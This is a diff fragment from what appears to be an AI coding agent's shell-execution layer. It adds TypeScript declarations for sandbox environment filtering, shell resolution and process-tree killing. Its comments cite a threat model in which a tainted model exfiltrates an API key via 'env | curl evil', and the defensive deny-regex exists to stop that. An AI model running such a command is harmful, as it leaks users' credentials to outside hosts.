-
setTimeout(() => {
|
|
140
|
-
try {
|
|
141
|
-
child.kill("SIGKILL");
|
|
142
|
-
}
|
|
143
|
-
catch { /* ignore */ }
|
|
144
|
-
}, abortGrace).unref();
|
|
125
|
+
killChildTree(child, abortGrace);
|
|
145
126
|
};
|
|
146
127
|
opts.signal.addEventListener("abort", onAbort, { once: true });
|
|
147
128
|
}
|
|
@@ -0,0 +1,148 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* spawn-common — shared subprocess primitives for foreground (safeSpawnShell)
|
|
3
|
+
* and background (BackgroundShellManager) shell execution.
|
|
4
|
+
*
|
|
5
|
+
* Both paths must agree on three things or their security/behavior drifts:
|
|
6
|
+
*
|
|
7
|
+
* 1. How a free-form shell command is turned into an actual (file, args)
|
|
8
|
+
* under the active sandbox backend ({@link resolveSpawnTarget}).
|
|
9
|
+
* 2. Which environment variables are forwarded into a sandboxed shell
|
|
10
|
+
* ({@link buildSandboxEnv} + {@link ENV_DENY_REGEX}) — the Bash threat
|
|
11
|
+
* model (a tainted model exfiltrating `OPENROUTER_API_KEY` via
|
|
12
|
+
* `env | curl evil`).
|
|
13
|
+
* 3. How a process is terminated — SIGTERM → grace → SIGKILL. The
|
|
14
|
+
* background path needs this at *process-group* granularity
|
|
15
|
+
* ({@link killProcessGroup}) because `npm run dev` is really
|
|
16
|
+
* `sh → npm → node vite` and killing only the outer `sh` leaks the
|
|
17
|
+
* vite child that holds the port (design §难点2).
|
|
18
|
+
*
|
|
19
|
+
* safeSpawnShell keeps its own single-process kill cascade (it does not
|
|
20
|
+
* spawn detached, so there's no separate process group to reap); it shares
|
|
21
|
+
* (1) and (2) here. The background manager uses all three.
|
|
22
|
+
*/
|
|
23
|
+
import type { SandboxBackend } from "../tool-system/sandbox/index.js";
|
|
24
|
+
/**
|
|
25
|
+
* Env vars that are always safe to forward into a sandboxed shell. Mirrors
|
|
26
|
+
* the allowlist that previously lived in bash.ts — kept here so foreground
|
|
27
|
+
* and background shells share one source of truth. The `off` backend keeps
|
|
28
|
+
* the historical full-passthrough behavior (the user opted out of sandboxing)
|
|
29
|
+
* and does NOT call this.
|
|
30
|
+
*/
|
|
31
|
+
export declare const ENV_ALLOWLIST: ReadonlySet<string>;
|
|
32
|
+
/**
|
|
33
|
+
* Names matching these patterns are dropped even if they appear in the
|
|
34
|
+
* allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
|
|
35
|
+
* leak just because it starts with `PATH`). Case-insensitive on the full name.
|
|
36
|
+
*/
|
|
37
|
+
export declare const ENV_DENY_REGEX: RegExp;
|
|
38
|
+
/**
|
|
39
|
+
* Build a hardened env for a sandboxed shell: allowlist ∖ deny-regex.
|
|
40
|
+
* `source` defaults to `process.env` so callers usually omit it; tests pass
|
|
41
|
+
* a fixed object.
|
|
42
|
+
*/
|
|
43
|
+
export declare function buildSandboxEnv(source?: NodeJS.ProcessEnv): NodeJS.ProcessEnv;
|
|
44
|
+
/**
|
|
45
|
+
* Layer a project's `localEnvironment.env` (KEY=VALUE pairs the user
|
|
46
|
+
* explicitly configured in `.code-shell/settings.json`) on top of a base
|
|
47
|
+
* shell env.
|
|
48
|
+
*
|
|
49
|
+
* Unlike {@link buildSandboxEnv}, project env values are NOT filtered through
|
|
50
|
+
* the deny regex: the user put them there deliberately (e.g. `DATABASE_URL`,
|
|
51
|
+
* a project-scoped `API_BASE`), so honoring them is the whole point. The
|
|
52
|
+
* allowlist/deny machinery exists to stop a tainted model from exfiltrating
|
|
53
|
+
* the *host's* secrets via `env | curl`; values the user typed into project
|
|
54
|
+
* settings are a different trust class.
|
|
55
|
+
*
|
|
56
|
+
* Returns the base unchanged when `projectEnv` is empty/undefined, so the
|
|
57
|
+
* caller can pass it through unconditionally with zero behavior change for
|
|
58
|
+
* projects that don't configure one. `undefined` values in `projectEnv` are
|
|
59
|
+
* skipped (they'd otherwise stringify to "undefined").
|
|
60
|
+
*/
|
|
61
|
+
export declare function mergeShellEnv(base: NodeJS.ProcessEnv, projectEnv: Record<string, string> | undefined): NodeJS.ProcessEnv;
|
|
62
|
+
export interface SpawnTarget {
|
|
63
|
+
file: string;
|
|
64
|
+
args: string[];
|
|
65
|
+
/** Backend-allocated resource cleanup (e.g. seatbelt temp profile). */
|
|
66
|
+
cleanup?: () => void;
|
|
67
|
+
}
|
|
68
|
+
/**
|
|
69
|
+
* Resolve the shell binary + the (file, args) needed to run a free-form
|
|
70
|
+
* `command` string through it, per platform. Centralizes the POSIX-vs-Windows
|
|
71
|
+
* shell fork that was previously hardcoded as `/bin/bash` + `["-c", command]`
|
|
72
|
+
* in five places (bash.ts, safe-spawn.ts, background-shell.ts, worktree.ts):
|
|
73
|
+
*
|
|
74
|
+
* - POSIX: `<explicit ?? $SHELL ?? /bin/bash> -c "<command>"`
|
|
75
|
+
* - Windows: `cmd.exe /c "<command>"` (the `-c` flag does not exist on cmd;
|
|
76
|
+
* a bare `-c` would be taken as a filename and fail). PowerShell uses
|
|
77
|
+
* `-Command`, but cmd.exe is the safe default present on every Windows.
|
|
78
|
+
*
|
|
79
|
+
* `$SHELL` is ignored on Windows — it is virtually never set there, and when
|
|
80
|
+
* it is (e.g. a stray value from a Unix-y env) it points at a POSIX path that
|
|
81
|
+
* doesn't exist on the host. An explicit `shell` overrides everything (a user
|
|
82
|
+
* who configured `pwsh`/`bash` knows what they want).
|
|
83
|
+
*/
|
|
84
|
+
export declare function resolveShellInvocation(command: string, shell?: string): {
|
|
85
|
+
file: string;
|
|
86
|
+
args: string[];
|
|
87
|
+
};
|
|
88
|
+
/** The platform's default interactive shell binary, for spawning a bare shell
|
|
89
|
+
* (no `-c`/`/c` command). Windows → ComSpec/cmd.exe; POSIX → $SHELL/bin/bash. */
|
|
90
|
+
export declare function defaultShellBinary(shell?: string): string;
|
|
91
|
+
/**
|
|
92
|
+
* Resolve the actual (file, args) for a shell `command` under an optional
|
|
93
|
+
* sandbox. With a sandbox, the backend decides (e.g. seatbelt →
|
|
94
|
+
* `sandbox-exec -f profile shell -c command`). Without one, plain
|
|
95
|
+
* `shell -c command`. This is exactly safeSpawnShell's pre-spawn logic,
|
|
96
|
+
* lifted so the background path produces an identical target.
|
|
97
|
+
*/
|
|
98
|
+
export declare function resolveSpawnTarget(command: string, opts: {
|
|
99
|
+
cwd: string;
|
|
100
|
+
shell: string;
|
|
101
|
+
sandbox?: SandboxBackend;
|
|
102
|
+
}): SpawnTarget;
|
|
103
|
+
/**
|
|
104
|
+
* Terminate a single (non-detached) foreground child + its tree.
|
|
105
|
+
*
|
|
106
|
+
* - POSIX: SIGTERM, then SIGKILL after `graceMs` if it ignored the term.
|
|
107
|
+
* (The child is the process-group leader of its own subtree only if it was
|
|
108
|
+
* spawned with its own group; safe-spawn's foreground children are not, so
|
|
109
|
+
* this kills the direct child — matching the historical behavior.)
|
|
110
|
+
* - Windows: `child.kill("SIGTERM")` is a no-op and only kills the direct
|
|
111
|
+
* child anyway, leaving grandchildren (e.g. `npm test → node`). Use
|
|
112
|
+
* `taskkill /T /F` on the pid to reap the whole tree. No graceful phase.
|
|
113
|
+
*
|
|
114
|
+
* Best-effort: never throws; a child that already exited is fine.
|
|
115
|
+
*/
|
|
116
|
+
export declare function killChildTree(child: {
|
|
117
|
+
pid?: number;
|
|
118
|
+
kill: (sig?: NodeJS.Signals) => boolean;
|
|
119
|
+
}, graceMs: number): void;
|
|
120
|
+
/**
|
|
121
|
+
* Terminate an entire process group, SIGTERM → grace → SIGKILL.
|
|
122
|
+
*
|
|
123
|
+
* Targets the group by negating the leader pid (`process.kill(-pgid, sig)`),
|
|
124
|
+
* which requires the leader to have been spawned `detached: true` so its pid
|
|
125
|
+
* is its own pgid. This is the background path's answer to design §难点2:
|
|
126
|
+
* `npm run dev`'s real tree (`sh → npm → node vite`) all share the group, so
|
|
127
|
+
* one group-level signal reaps the vite child that actually holds the port.
|
|
128
|
+
*
|
|
129
|
+
* Resolves once the group is confirmed gone (or the grace SIGKILL has been
|
|
130
|
+
* sent). Idempotent: a group that's already dead (ESRCH) resolves immediately
|
|
131
|
+
* without throwing.
|
|
132
|
+
*
|
|
133
|
+
* @param pgid The process-group id == the detached leader's pid.
|
|
134
|
+
*/
|
|
135
|
+
export declare function killProcessGroup(pgid: number, opts?: {
|
|
136
|
+
graceMs?: number;
|
|
137
|
+
}): Promise<void>;
|
|
138
|
+
/**
|
|
139
|
+
* True if any process in the group `pgid` is still alive. Signal 0 performs
|
|
140
|
+
* existence/permission checks without delivering a signal; ESRCH means the
|
|
141
|
+
* whole group is gone.
|
|
142
|
+
*
|
|
143
|
+
* Windows has no process groups: probe the leader pid directly (positive,
|
|
144
|
+
* Node supports signal 0 on Windows for an existence check). Children may
|
|
145
|
+
* outlive the leader, but `taskkill /T` already reaps the tree, so a
|
|
146
|
+
* leader-alive probe is the right gate for the win32 kill path.
|
|
147
|
+
*/
|
|
148
|
+
export declare function groupAlive(pgid: number): boolean;
|